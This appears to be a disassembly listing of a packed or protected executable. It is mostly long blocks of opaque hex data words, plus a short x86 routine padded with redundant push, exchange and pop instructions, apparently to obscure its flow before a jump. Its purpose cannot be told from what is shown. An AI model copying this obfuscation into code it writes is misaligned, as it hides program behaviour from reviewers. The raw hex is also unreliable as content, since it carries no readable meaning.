		dd 9425AC9Bh, 0B2ED3B3Bh, 0B2A81F56h, 699DFCFFh, 0D0E3FABAh
		dd 72Bh, 0E42DB300h, 0CD000001h, 0EA1F1D0Eh, 87DD9F6Bh
		dd 2D60B8CFh, 87DD5BC8h, 0ABEADDCFh, 0C0C9CF18h, 0C23AF155h
		dd 123AA2D8h, 9995BEB1h, 0D7CB55C0h, 9890C64Dh,	586F980Eh
		dd 74390870h, 0DFBEBC13h, 0B03293A6h, 0A3C64DD7h, 1AB1BE75h
		dd 709F2964h, 37B5221h,	75E1ED1Ah, 0F5616D9Ah, 7BFBED1Ah
		dd 0EF6F5FA4h, 75A447B0h, 0A7D58B0Bh, 0B761CCC5h, 0ECBFDE21h
		dd 7072D3E2h, 0E3C64DB0h, 5BBAE335h, 0C64DB0DFh, 0C9BEBE16h
		dd 5A6915BEh, 0FFC0F413h, 6C6295D5h, 1D8B1DF0h,	180E7802h
		dd 7D51741Ah, 19F47460h, 483F198Fh, 0E3833586h,	0AA4CCB35h
		dd 6C39584Bh, 6D66775Bh, 1C8A1EF1h, 0F3CE7525h,	0D017F084h
		dd 5F000003h, 385707CEh, 3BAD00DBh, 0B51F643Bh,	26AFDAB5h
		dd 0C64D80BCh, 84EB899Fh, 0EF542715h, 0EDE4D3A0h, 27B91C6Dh
		dd 2CC64D80h, 933A45FCh, 0EC5C2EBh, 3797AE50h, 2FE0B947h
		dd 0C4BA11E0h, 1615302h, 807A670Eh, 49BCC64Dh, 0ED8D37CAh
		dd 0B209BFC0h, 4D80D153h, 9682C6h, 0E6EBDC0Dh, 3003A578h
		dd 4D804CD1h, 0D140CFC6h
		dd 0C9D28A42h, 4D8D4E4Ch, 0C953A4C6h, 8CF82DBEh, 9D2D04CAh
		dd 0F08447F7h, 0FFFF4DE0h, 1ACE66FFh, 8236515Ah, 0D946ABE2h
		dd 5FC64D80h, 6B5C2968h, 0F464F664h, 2508782Bh,	1ACEB988h
		dd 9F36515Ah, 8502AADFh, 9FCEBB16h, 0BC224A1h, 8791C64Eh
		dd 0C82D2211h, 96C1ACC7h, 4B68F4E5h, 0BEAD29FDh, 0CA49AE85h
		dd 0F74DED92h, 4DF420h,	0E7A0000h, 0DFEA1F1Dh, 40F15E4Dh
		dd 587217EDh, 99FE924h,	336FDB3Ah, 0F028CF88h, 8B6F781Dh
		dd 92FDCF87h, 4D857203h, 97AAFE11h, 0BF0A5807h,	1389F9h
		dd 5CD10000h, 0C64D8B9Ah, 0FE2A6CF8h, 2D8CFFFFh, 7, 2AD2DCDh
		dd 0CECD0000h, 1A2D5A1Ah, 36D2CDB1h, 0E9DB087Bh, 0A679E1E8h
		dd 8100E263h, 0C553C64Dh, 0E7D8C553h, 0FA0FF800h, 4D80899Bh
		dd 635ECAC6h, 7BDAEFDAh, 0C64D8069h, 82473EEAh,	4C67C1DCh
		dd 82A7106Dh, 0A4D543CFh, 4E412193h, 0DD9407BAh, 0CF82A6FFh
		dd 699DFC63h, 0F9B1D1BAh, 0BCB81621h, 0B6C47E1h, 49h, 11B7D053h
		dd 0BE2D5A69h, 0C7C0C9BEh, 0AB415C02h, 0C9603B92h, 92A1F75Bh
		dd 82E12633h, 0B4EB3DCFh, 8280DF3Dh, 0A19683CFh, 0B42E9728h
		dd 0A7CF8280h, 9CE82771h, 0F258A6CEh, 0D7EA7FB2h, 8231A5F4h
		dd 53F9B178h, 0ADh, 5A1ACE9Bh, 0D1894043h, 5F1FC9BEh, 2341822Ah
		dd 0C9A2ADFFh, 296410BEh, 746FE4DFh, 15557F40h,	0B4FB9A83h
		dd 0C1C64DCBh, 79465717h, 988A0BB2h, 0BBC64DC2h, 47CEBB6Dh
		dd 0CF85747Eh, 9FE0B1Dh, 728F9CC2h, 122A5EEAh, 2B06E756h
		dd 84308940h, 0C95FA9E4h, 5786A7C5h, 4B17027Ch,	489h, 4469E9E4h
		dd 0DECF8F43h, 653628A1h, 0E4C9B51Ah, 0FD2E2CA3h, 4D84D877h
		dd 0EFDF200Dh, 8B413E6Fh, 0BBDCAD3h, 2552426Bh,	87E646A0h
		dd 0CC6615CFh, 465707CEh, 35844C3Bh, 4D8056D0h,	851305C6h
		dd 1B17C1AEh, 0BE836C8Fh, 4556C047h, 5A1ACEADh,	27B91C2Dh
		dd 2CC64D80h, 80EEF85Dh, 0BB6DC64Dh, 27B91C6Dh,	2CC64D80h
		dd 175245FCh, 93AEAE20h, 4B3C3CA8h, 0D0E3933Ch,	6F6DBE89h
		dd 0B1182F1Ah, 3A91D6C9h, 69BF4944h, 802BB520h,	0F830C64Dh
		dd 9BB3CC49h, 0BA62CF82h, 5D5CAC74h, 3D685B5Ah,	0E13DB4EBh
		dd 30CF82F9h, 2EFD4CCBh, 65F0D92Eh, 0CF82F97Bh,	943D48E0h
		dd 6251B3EAh, 14CD6ED7h, 6920D8B8h, 4DE2FAECh, 59CF59C6h
		dd 0A4A47354h, 3FAEF253h, 0B2C5CF88h, 0E640C518h, 75CF87BEh
		dd 933EF5A3h, 4F837485h, 3E49340Fh, 51C4E995h, 0CF87BED5h
		dd 0CAB4192Eh, 14448CF7h, 3A5707h, 5C9F0000h, 0C64D80C6h
		dd 0B378786Bh, 0F36B6156h, 0CEB9881Ch, 0CF465905h, 0C64D8055h
		dd 32C150BBh, 0C7B8E599h, 0CF465901h, 0C64D8052h, 44D746C9h
		dd 3EA82D8Ch, 1DC64D80h, 0E2909D0Bh, 0E733B9D0h, 0B68DFB18h
		dd 0C4A28401h, 67B1C64Dh, 0F2C1B910h, 100F4F85h, 77DEFDD3h
		dd 0C64DC46Dh, 9BEC3AEEh, 7C3727ACh, 82F2DC07h,	0C6C588Bh
		dd 96056A11h, 8F0E71A4h, 9BC309FEh, 45359BA8h, 17C8A834h
		dd 0F78D802Ch, 1375A8D6h, 26E7AE85h, 0C64DBF3Eh, 0B21C2B5Ch
		dd 8A39CBC2h, 84CFAA58h, 0FF613BF0h, 0CE83FFFFh, 40435A1Ah
		dd 0F8C7D494h, 75E0292Fh, 0CF82A708h, 0E6F7DCEBh, 0D32472F2h
		dd 82A67072h, 7E35E3CFh, 9FCAC553h, 329B3CA8h, 0C8BBD244h
		dd 0E0445B03h, 0A07E7B36h, 0C2CF82A6h, 7F61E4D5h, 0D4CF82A6h
		dd 0B8A6D44h, 0B1D12CD3h, 5FB5F9h, 0D03D0000h, 6D6F8F1Ch
		dd 923A9424h, 72C73E3Ah, 0FBC87B2Dh, 0EEDB2C2Ch, 4DFB7D67h
		dd 3B4ADEC6h, 58ACE393h, 0E075E069h, 93CF832Bh,	0F22D2DA4h
		dd 26F29B96h, 0CB948AE7h, 5FCECF82h, 0B817BC30h, 0C3B4F9B1h
		dd 0B6524D0Dh, 3A5515BFh, 0FF74D3EEh, 89000000h, 0C89547Eh
		dd 0CF82C01Ah, 8A39EF39h, 5A1ACE70h, 83354243h,	81C669A7h
		dd 6CBAA7C8h, 4FDCD731h, 0DA0B0278h, 0A679E5EDh, 379A71C6h
		dd 4BDDC729h, 2D4AD9A1h, 576A1EB0h, 0A578F8ECh,	25F67662h
		dd 4E0C4968h
		db 0C6h, 36h
word_594F42	dw 0E282h		; DATA XREF: ___:off_4387C0o
		dd 5CB9D0B9h, 0C64E03CAh, 398F6389h, 0FC9FA2F3h, 38AC97AAh
		dd 79626538h, 0CAFF8673h, 79CF8328h, 1ED344F3h,	42C336D2h
		dd 0CF8315E0h, 40F3A573h, 0FDD3E495h, 7D06A27Dh, 0CF8315A3h
		dd 0C1B660B8h, 15D34DB8h, 9088CF83h, 3FF26C65h,	7E7E6D5Ah
		dd 0CAB50C89h, 54C4D8BAh, 0BDBD1423h, 28A691F0h, 9C97F12Ch
		dd 3A42388Fh, 7562C432h, 8AAE9467h, 0E5000001h,	403F6CEAh
		dd 0BEC9D28Ah, 43446915h, 0A0DFCC8Ah, 906C3129h, 443A91E5h
		dd 0B6A62857h, 4A329AE5h, 0B2B22661h, 57BEABE9h, 0CF87E9CDh
		dd 0CE75FD8Eh, 3B465707h, 9FD6864Ch, 0CE5A3535h, 1C5C88F3h
		dd 1D0E630Fh, 0EE6BEA1Fh, 5CF82B0h, 8795FC13h, 0DBCF82B0h
		dd 5F582574h, 8B1DF06Eh, 0C37926B8h, 9C68F9B1h,	0EE000000h
		dd 435A1ACEh, 0A8D18940h, 80B23491h, 77A1C64Dh,	832AC7BCh
		dd 70C64D85h, 8F72444h,	0A3D3FBDCh, 0BE2D1AF5h,	7F4CC9BEh
		dd 16CF82B1h, 8104F502h, 0CF82A89Fh, 84D64B4h, 9FE8F037h
		dd 0BA59E836h, 0CCBD6BD8h, 356614BBh, 0B3DB834Ah, 75627C81h
		dd 0CAF1D5A8h, 25000000h, 807FACAAh, 0FE09124Ah, 8384A9D5h
		dd 0E01F0C4Ah, 0D0AC71E9h, 84FAD125h, 0F6666897h, 8AF2DA25h
		dd 0F27266A1h, 97FEEB29h, 0CF87EA8Dh, 0CE35BDCEh, 39465707h
		dd 5BC5508Fh, 0C64D80h,	8D1B4387h, 0CE68121Bh, 40435A1Ah
		dd 0F8C7D494h, 75E0292Fh, 0CF87DD8Dh, 40435ACEh, 0B8C7D494h
		dd 0C4316C0Ch, 28A88109h, 5421709Fh, 8BCC29C8h,	5479D054h
		dd 791F32Ah, 34953F2Ch,	61C3DA9Ah, 2F99E6B7h, 2215504Fh
		dd 7601B0ACh, 1C021D59h, 66512271h, 343FF272h, 0CCBBE080h
		dd 1CEB918h, 3B36B055h,	54251668h, 683BEFF1h, 62B46416h
		dd 0FCB0D9B4h, 11BDFC1Ah, 23917765h, 0A903EF5h,	58000000h
		dd 6816B7D0h, 0EAE0D335h, 5303CE6Ah, 0DD9D473Ch, 4F0FC5C2h
		dd 0BBBB1350h, 32289FE4h, 0B9A1285Bh, 322CA1E6h, 0BBA3285Bh
		dd 332B9FE4h, 8953805Ch, 4AB850E3h, 4027E845h, 442DE8D1h
		dd 0F7143A22h, 35D8F7D0h, 0FFBA0066h, 8358C301h, 1C8704EBh
		dd 89535C24h, 4C381E3h,	83000000h, 1C8704EBh, 1C895C24h
		dd 5EBE6824h, 4890000h,	65BD5524h, 566B8C33h, 5A5081BEh
		dd 73F6815Fh, 892B9CC0h, 0EB295EF3h, 48B545Dh, 4C48124h
		dd 52000000h, 8BB53h, 0DA890000h, 89C2015Bh, 34FF5A1Ah
		dd 0C4815824h, 4, 57241C8Bh, 0C781E789h, 4, 8704C783h
		dd 0E95C243Ch, 0FFFBD97Ch, 0B86D9EA8h, 93A6B98h, 0E0FFC503h
		dd 6EA94109h, 733B14A0h, 23E1EAF3h, 20E61624h, 1791B89Dh
		dd 2A086A9Ah, 5ED85592h, 58A7C36Ch, 77F3AA57h, 776B914Fh
		dd 0B0E9h, 8C666000h, 4C2F6DAh,	0C850Fh, 853B0000h, 9350EC9h
		dd 36840Fh, 853B0000h, 935057Dh, 2A840Fh, 853B0000h, 9352621h
		dd 1E840Fh, 853B0000h, 9352B39h, 12840Fh, 0BD830000h, 9350261h
		dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h
		dd 0C985784Ah, 49840Fh,	0C2810000h, 0F8h, 30C728Bh, 1C598BC8h
		dd 314518Bh, 850B8BD8h,	10840FC9h, 3B000000h, 17820FCEh
		dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h
		dd 0DE9FFh, 9D8D0000h, 9354C02h, 5B8h, 61E3FF00h, 0EBD00BC3h
		dd 60h,	17h dup(0)
		dd 0B12E900h, 6E90000h,	6800000Bh, 93A7543h, 0FB114BE9h
		dd 76A368FFh, 41E9093Ah, 68FFFB11h, 93A7704h, 0FB1137E9h
		dd 2D8AA8FFh, 6C75E870h, 2BB6A92Fh, 6176EE72h, 2CADC43Ch
		dd 33D7A46Fh, 7AFE9F3Ah, 31A7F4E1h, 87F9A23Fh, 0FBADEEEBh
		dd 0D4A70DD3h, 0F2A312FBh, 0A92C47D1h, 3CBE6E4Ah, 0B93BB623h
		dd 2DA8C33Dh, 6B74E870h, 19AE288h, 5F546072h, 0BDB32DC9h
		dd 0C45FD120h, 447C22D1h, 0AFCC54A9h, 7EF00423h, 8DFFF2E7h
		dd 7AEE0594h, 8AFEF5E2h, 99061895h, 35289C57h, 0EFBA45ACh
		dd 0BC099737h, 0C0150B6Fh, 0E0DAAE1Eh, 35A74F48h, 6BFCA138h
		dd 974D815Bh, 12FB6F39h, 4787B1Dh, 0F7E27F68h, 567678FCh
		dd 28CBCC64h, 0D87B50A4h, 23AE2B47h, 862E993Ah,	0EFE40DC4h
		dd 5005C419h, 4AC388h, 2E040000h, 150DC486h, 3641E5CFh
		dd 8A91E11Ch, 6D6803A9h, 1CBE0286h, 0EB837DA7h,	6F8103EEh
		dd 47BE1564h, 42A7BF2Ah, 0AC42AC29h, 5C5E7025h,	6B1BD6C3h
		dd 0D2C3CF80h, 55A14F94h, 28D1AEh, 0C5FD0000h, 0D6010CB6h
		dd 10AF474Bh, 0DC4862Eh, 41E5CF15h, 921E1C36h, 9B9153Fh
		dd 0CFE3469Ch, 1A0540Fh, 24AF2A47h, 0EB156370h,	0F98C6875h
		dd 0A6D6F6AEh, 63C7CE74h, 3E729A76h, 5047E3DFh,	0D8B4589Ch
		dd 542129A8h, 995D86E8h, 359880Bh, 0E67A6C15h, 0E986FAF9h
		dd 62FC02ECh, 0E8787B75h, 130116E6h, 75563EA7h,	92852518h
		dd 19C4Fh, 0AD158000h, 0F063BE24h, 0F2857145h, 0C0DEEEA4h
		dd 1C356502h, 0B0DCF0F6h, 3564C8F2h, 0DA1ABC1Ch, 544DE153h
		dd 0EB156447h, 87986673h, 0A155D71Ah, 2BA6332Fh, 6673EB15h
		dd 66ED098Bh, 0C3203EC0h, 38BC32AFh, 0C4862E99h, 19EFE40Dh
		dd 885005C4h, 21C3h, 862E0400h,	0CF150DC4h, 1C3641E5h
		dd 1514BFE1h, 0AD2847B9h, 2A47AA49h, 637024AFh,	1ED1h
		dd 862E0200h, 0CF150DC4h, 1C3641E5h, 8832701Eh,	7C1C3641h
		dd 153D945Ah, 0AF2A47BEh, 15637024h, 8A6A77EBh,	0DD3AFF7h
		dd 1C3641A7h, 9C5742DFh, 0EA04AA18h, 41EABCE2h,	0D8FE1C36h
		dd 0C00A98F4h, 0B41C3641h, 0C93BC232h, 40804C55h, 0E5EE30Fh
		dd 8E6B8B1Dh, 2BB9159Dh, 1C3641A1h, 80425FD1h, 824965Eh
		dd 993A448Fh, 8C4862Eh,	0A25C79F6h, 5EE2118Eh, 0EFE4F796h
		dd 5005C419h, 33C388h, 2E040000h, 18A286h, 41674D97h, 3D631C36h
		dd 0CF1520B3h, 1C3641E5h, 4158D1EBh, 18C62EB2h,	0EB153B96h
		dd 0DE8A6A77h, 0AF2A47AFh, 0D1637024h, 66h, 0C4862E02h
		dd 72EB150Dh, 93396767h, 871C3641h, 0A5E99561h,	6B95001Bh
		dd 800EE6F3h, 1C36413Ah, 0B1028838h, 0AE1A293Dh, 933BD546h
		dd 8EBF669h, 15D17084h,	0BF2A47BEh, 3EC231A4h, 0C130A9C0h
		dd 651DB13Fh, 93FAD5BFh, 0CDC4FC37h, 2C2528E4h,	70CF6E86h
		dd 8EDD1E5Eh, 0C6CA70Ch, 5F9822C0h, 0A8C1C35h, 0AD1543EAh
		dd 21E9159Eh, 7E668EDBh, 0D4h, 0C2982ECFh, 41F6D40Ah, 0BCE21C36h
		dd 42AFC335h, 491A802Bh, 1B84AA55h, 549A1ED5h, 0B5AA5478h
		dd 9D47C928h, 1C35E217h, 94698D13h, 0A40D209Ah,	14E00E8Bh
		dd 0AE2B476Dh, 0E3925E1Eh, 0DB4772D9h, 993A741Bh, 0DC4862Eh
		dd 5ED0EAE4h, 36A3BF41h, 0AD151FBEh, 8D4A54FFh,	2F03B4A8h
		dd 0E3D94080h, 0D30AB242h, 0B78850F3h, 53E7CD13h, 0BDE31F35h
		dd 499239h, 843C0000h, 1302D4B3h, 0A2408CA1h, 1F35D418h
		dd 0C36A8A0Ch, 0DC4862Eh, 41E5CF15h, 0BFE11C36h, 47BE1514h
		dd 6B1FAF2Ah, 413B811Fh, 0A92F1C36h, 3641913Bh,	9363851Ch
		dd 156370ECh, 0E77974EBh, 7BFDF4FAh, 168B7Bh, 2EBC0000h
		dd 150DC486h, 3641E5CFh, 3F921E1Ch, 2A47BE15h, 637024AFh
		dd 1EAE2B47h, 0DC17809Ch, 842E7458h, 801C3641h,	0A517965Eh
		dd 3CBE0E8Bh, 0BA3EB522h, 4BAB2C44h, 6976EA6Eh,	41D2FA8Ah
		dd 198A1C36h, 928C2E2Bh, 0E37FF105h, 3F33A5F6h,	0A7522AA2h
		dd 584DEA84h, 5BCB52A2h, 4855CBAFh, 9E3B37A9h, 7361C053h
		dd 81733078h, 402F7AF6h, 4AF08B41h, 9D1FAF41h, 8D0C2584h
		dd 0E50CE266h, 5DE45F63h, 0FCB36F07h, 714423F8h, 29593599h
		dd 0DA63321Ch, 21AF47B2h, 15028562h, 0FDA15056h, 4D352AC5h
		dd 4EA62251h, 0C5FEC0h,	7E66BF13h, 8576305Dh, 2A3792h
		dd 47980000h, 9F43AE2Bh, 87C964DFh, 4BAB943Eh, 35B40FB5h
		dd 6A5ACB1Ch, 33F7156Dh, 8B9C1622h, 747DF16Bh, 0D20DEFBh
		dd 92415A94h, 43AE2B47h, 0E107EDB8h, 0D4C15AA0h, 93279B1Dh
		dd 0F6D618ABh, 866E6B04h, 0FC5BBCE2h, 19A3150Bh, 0A75D9900h
		dd 0F8CB9C01h, 69A92AF2h, 3FB16A3Ch, 0A9C13B8Fh, 4B2EC430h
		dd 0D30BC8FDh, 4AA93029h, 5E802EC6h, 0FAC30593h, 21841C26h
		dd 8DA41633h, 5998011Ch, 56DA19D7h, 40CFFE9Eh, 4798895Fh
		dd 0F2000000h, 0AD4956C8h, 0C2982E06h, 41DED40Ah, 0A8E41C36h
		dd 3641D0FAh, 9E22C41Ch, 3595F12h, 0BA688C8Fh, 9269834h
		dd 0A180408Ch, 3465CCAFh, 175FD8A0h, 757B530Eh,	1CBEAC81h
		dd 0A000000h, 0A15F78F0h, 60E40F8Ah, 982EED94h,	0E2D40AC2h
		dd 0D61C3641h, 6D02FCD0h, 15882B70h, 41A12BB9h,	5FD11C36h
		dd 972DAF42h, 9EF5E511h, 51000001h, 6CF7B0AFh, 5960AF35h
		dd 58DC17D9h, 842EF59Ch, 7FF406C6h, 0E115975Ah,	38943A42h
		dd 364120AAh, 0C4DD501Ch, 0AEF4D8FEh, 1C364204h, 7716DE00h
		dd 23AE2B47h, 0AD15EFE4h, 90B5D992h, 100BF522h,	8CD17185h
		dd 0FB885102h, 43h, 0C6842ECCh,	5C7DF406h, 3CE31395h, 0CF15B915h
		dd 1C3641E5h, 0A937BFE1h, 1C364123h, 17829F21h,	1FAF31DFh
		dd 0DA19809Dh, 15FF9E56h, 0AD2847BEh, 15637026h, 996772EBh
		dd 52D61D84h, 41B2A2h, 15130000h, 0F87570EBh, 608E12E1h
		dd 0DFB30F91h, 29AD362Fh, 6347DA1Ah, 9F932DA1h,	6DED2AD4h
		dd 0BF31B6C4h, 9D44B034h, 0A12BB915h, 951C3641h, 0A937E313h
		dd 1C364123h, 1515BC54h, 0AD2847BEh, 47637026h,	3A23AE2Bh
		dd 76EB1599h, 0FD9C956Bh, 0EF8272F6h, 0E4E8EBB9h, 5C419EFh
		dd 4EC38850h, 4000000h,	0FCA2862Eh, 1C3641B6h, 0AC22CB2h
		dd 8F627FF0h, 154AE90Dh, 41A12BB9h, 23951C36h, 94608E0Bh
		dd 4210BAE8h, 0EC0E1C36h, 0E18F6770h, 0BE1514BFh, 24AF2A47h
		dd 742A5E70h, 1C36414Eh, 14F7E948h, 952F95D6h, 0D13CE313h
		dd 2Fh,	0C4862E02h, 941EC408h, 901C3641h, 1547E60Eh, 3641E5CFh
		dd 3F921E1Ch, 2A47B915h, 416D578Dh, 47691C36h, 2EC64AA9h
		dd 0AF2A478Fh, 47637024h, 0B745AC29h, 1C364210h, 42B12E40h
		dd 0AD4451CEh, 7EC62BFDh, 954879CFh, 7DF18470h,	0E50B8D64h
		dd 9D685CC9h, 6B61683h,	0C5CC8D6Dh, 0F1C62EF0h,	0AC294742h
		dd 405DD345h, 0E2D243B1h, 1F7C1917h, 364AE93Dh,	67A9291Ch
		dd 4895006h, 0FFFFFE52h, 0D7B20ABEh, 0E620FA3Ch, 0C9497371h
		dd 9B3D1C35h, 0A52BB45Bh, 0B91C3641h, 1C364297h, 364122ABh
		dd 41943A1Ch, 26A81C36h, 3A1C3641h, 0DC364194h,	8C4018ABh
		dd 0EDE1FE72h, 36420DB7h, 0FE7095Ch, 0B3E5356Bh, 8F115501h
		dd 0E6CCD764h, 1FBF237Ch, 6A314E7Fh, 6A0BE158h,	3C626A84h
		dd 4BCBA2B9h, 3BA6B92Fh, 0E85531B5h, 0A948A9A3h, 297C1h
		dd 71560400h, 20B9B42Ch, 6F6A057Bh, 25B2AA2Eh, 70690078h
		dd 6F1B702Bh, 46BAE3F6h, 6DF3A82Dh, 43B5E6F3h, 47E9B22Fh
		dd 0CC735987h, 366712FBh, 0AE2B4795h
		dd 35EDB843h, 5AFF599h,	11C3642h, 0ABDC7B1h, 4BA5CA4Ch
		dd 44E1FFABh, 0B8150BD6h, 0DC16536h, 0B11C66B5h, 0A63C80C3h
		dd 12FBAF1Ch, 842E7418h, 8012FBAFh, 0CE64905Eh,	12FBAFE8h
		dd 0F0DCB4FFh, 0D19CF5B2h, 0E5E9EF0Bh, 415A47DBh, 2D46A3BFh
		dd 1DAB46A8h, 1C3542A3h, 9737EFBAh, 4B56C9F3h, 0FAA824A8h
		dd 1C3542D0h, 3CD222C4h, 150B2FC7h, 0A9537B1Dh,	1EA02CB5h
		dd 8C619502h, 990618A2h, 0AC1ED65Ah, 3FCC27B0h,	5C309C74h
		dd 21D0CD62h, 68C9579Fh, 8C0BD19Dh, 495CE70Ah, 3F851B6Fh
		dd 3B1C3542h, 42852FB5h, 5F811C35h, 16A73D91h, 1E150B2Fh
		dd 0E9089188h, 93396767h, 8712FBAFh, 8B3F8F61h,	2C1AE933h
		dd 0AC48B2EBh, 0FCA13E32h, 4EFE884h, 0FBF85274h, 965E6912h
		dd 0D7F7F99Eh, 0F850CBB3h, 0B9855873h, 32B63DA4h, 0E8D210BCh
		dd 0DC12FBA8h, 87A43ABAh, 6D0BD195h, 7927636Bh,	1C354D53h
		dd 0CE55A147h, 0FB989628h, 855D68FBh, 5E889B49h, 46761502h
		dd 0A5F444C5h, 28D61EBDh, 277E5E86h, 941FF2D6h,	137AAh
		dd 11B6A400h, 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h
		dd 0FFB908Bh, 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh
		dd 0CBD3F9A7h, 16C712FBh, 0C39B2EB5h, 2F58D50Bh, 0F6C6150Ch
		dd 93DF74BCh, 36EC08DEh, 0E3B641B0h, 96FDA32Bh,	5C0BC8AAh
		dd 22D2CF62h, 807A6A6Ch, 1DE9B0E9h, 0D6AC96h, 11430000h
		dd 0FC71E7B4h, 2F40B8E5h, 0FF77E9B2h, 263FC1DAh, 5831EAB3h
		dd 7D1EBBB2h, 287560FBh, 7C21BEB0h, 2E6F6804h, 268C527Ah
		dd 2212FBCAh, 9B2E5271h, 0BBF0BC3h, 3641EFD5h, 5AFF51Ch
		dd 11C3642h, 33C3E5DFh,	0C2E689Dh, 975A7C15h, 0B900925h
		dd 31C0D955h, 933B13A6h, 674D9337h, 6D12FBD4h, 0FBD48D37h
		dd 5D678912h, 8C25BB3Bh, 0A80BD1C1h, 4EE39506h,	99964A53h
		dd 41D99FFCh, 0A4BD4358h, 79F06835h, 0AEC53B60h, 70EE722Bh
		dd 0DD516B63h, 41B6FCA2h, 2CB21C36h, 715532C2h,	0BFB99011h
		dd 698D630Ch, 3D5E7BF7h, 6835A0BBh, 0B814CCD7h,	0B338D2Ah
		dd 0DDDFA715h, 1A9E5544h, 0FBAC02C8h, 0EF0F612h, 876A8411h
		dd 1B801915h, 3EFh, 844F2000h, 41B01547h, 0AB4653CFh, 37BA2739h
		dd 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h
		dd 2AC9D04Dh, 1CCA685Dh, 0C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	93A6D9Fh
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		dw 1DD7h
		dd 3A00888Ah, 0F5CDDCBCh, 0B400C28Bh, 77FFB801h, 0C503093Ah
		dd 8E8C38Bh, 40000000h,	215B6897h, 8A04C7B7h, 0B70F5FFEh
		dd 84C781F3h, 66000064h, 0B8B9B8BEh, 18FDh, 0FFF6BF0Fh
		dd 0BB665A37h, 0F281D87Eh, 26A00A7Bh, 81D98B66h, 37B77DEAh
		dd 0ABC28109h, 8932223Bh, 38D0F17h, 80000000h, 0EF8371C3h
		dd 10E901h, 0DFBC0000h,	9F8B50B8h, 0B7F46D58h, 0E36291A0h
		dd 4F4FCD24h, 14E84Fh, 77D0000h, 0E2028057h, 6F336E05h
		dd 156FFCC2h, 0D6806B0Fh, 0E3806A58h, 0F485B07h, 0FFFF9A85h
		dd 9E9FFh, 4D330000h, 0C260C3A1h, 8DB52EB7h, 3A79E68Dh
		dd 6E809h, 653F0000h, 5AE2E95Eh, 298D895Ah, 57093516h
		dd 6714DCBAh, 85C75A0Bh, 935287Dh, 745Ch, 7E79E681h, 85C744DCh
		dd 9352255h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0DAC35646h
		dd 0EAD92CE4h, 0D6816660h, 0BDB73979h, 31B58961h, 0FF09350Dh
		dd 3511F5B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0FF137829h, 350D0595h, 53006A09h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 2820FE4h, 8B000000h,	0FF006AD9h, 35082995h, 0EBC08B09h
		dd 0E898835Ch, 90EF3AA5h, 0E384ACC0h, 5681E2E6h, 0B440EA58h
		dd 4F1ED8C1h, 0B6EDFB72h, 0F2F4C2B7h, 0D655C5D1h, 7C78EC9Bh
		dd 4E821B2h, 3E89D9EDh,	0EDDDC639h, 0F2560B58h,	0CA50F18Bh
		dd 34097184h, 0C392FBC9h, 485C930Bh, 8AFE62BAh,	0C2B1D42Bh
		dd 874DF11Eh, 92921D5h,	0F1E5E19Ch, 136E96Ah, 0F8F90000h
		dd 7AC4B58Dh, 0F60093Ah, 58Dh, 0F0816600h, 84B17113h, 2D858D61h
		dd 6009384Ch, 820F60h, 0BA000000h, 6EF80E68h, 61E38A61h
		dd 6E9h, 860A2800h, 0FF543040h,	6AC3F5D0h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FF30C351h
		dd 6E3956F0h, 0AE93ADFh, 1B000000h, 9B6B68C7h, 0A70DA023h
		dd 8B576069h, 8B665BC6h, 8C6661CAh, 14E9D9h, 0FAF20000h
		dd 18C913DCh, 0F902214Ch, 748BC744h, 0B43798Ah,	0C1F60E13h
		dd 47840F04h, 0E9000000h, 0Ah, 0ECC6163Ch, 2F5534F5h, 0FB8B81BFh
		dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h,	0EBD98Bh
		dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh
		dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6AC35646h, 0C820Fh
		dd 7E90000h, 79000000h,	0D1BDB1Bh, 6A1880h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F5B09AC3h
		dd 7B1085C7h, 13F093Ah,	13EC0001h, 4A1DE8EAh, 0AE6BA486h
		dd 7125F073h, 35400467h, 70F9781Bh, 8557FECAh, 85308389h
		dd 243F31F7h, 786746BCh, 884222C8h, 3CD52DD3h, 14F53ECBh
		dd 3A3831CAh, 351C3141h, 3500D8CAh, 0F19331CAh,	1724B168h
		dd 61A93B48h, 6BF50D48h, 35734423h, 0E7873ECAh,	3AA18C49h
		dd 3A0E38FFh, 3507014Eh, 6A6AC4CAh, 5FC131C9h, 360867CAh
		dd 157031CAh, 0BC66F294h, 0B41815BEh, 280A158Eh, 730731CAh
		dd 3DAEF29Ch, 28979D00h, 3DB4239h, 42D0C074h, 99BDBCE3h
		dd 5F150BB1h, 36E667CAh, 150731CAh, 0BCDDF294h,	0B4C515BEh
		dd 20E4158Eh, 737031CAh, 6E3EF29Ch, 0B72A6473h,	11B161DFh
		dd 0BC37C308h, 0C70815CEh, 4E4FB447h, 210938F0h, 0D87031CAh
		dd 10D6F0B8h, 0B9D424B4h, 0DDB788D2h, 1D241206h, 0A59DFE96h
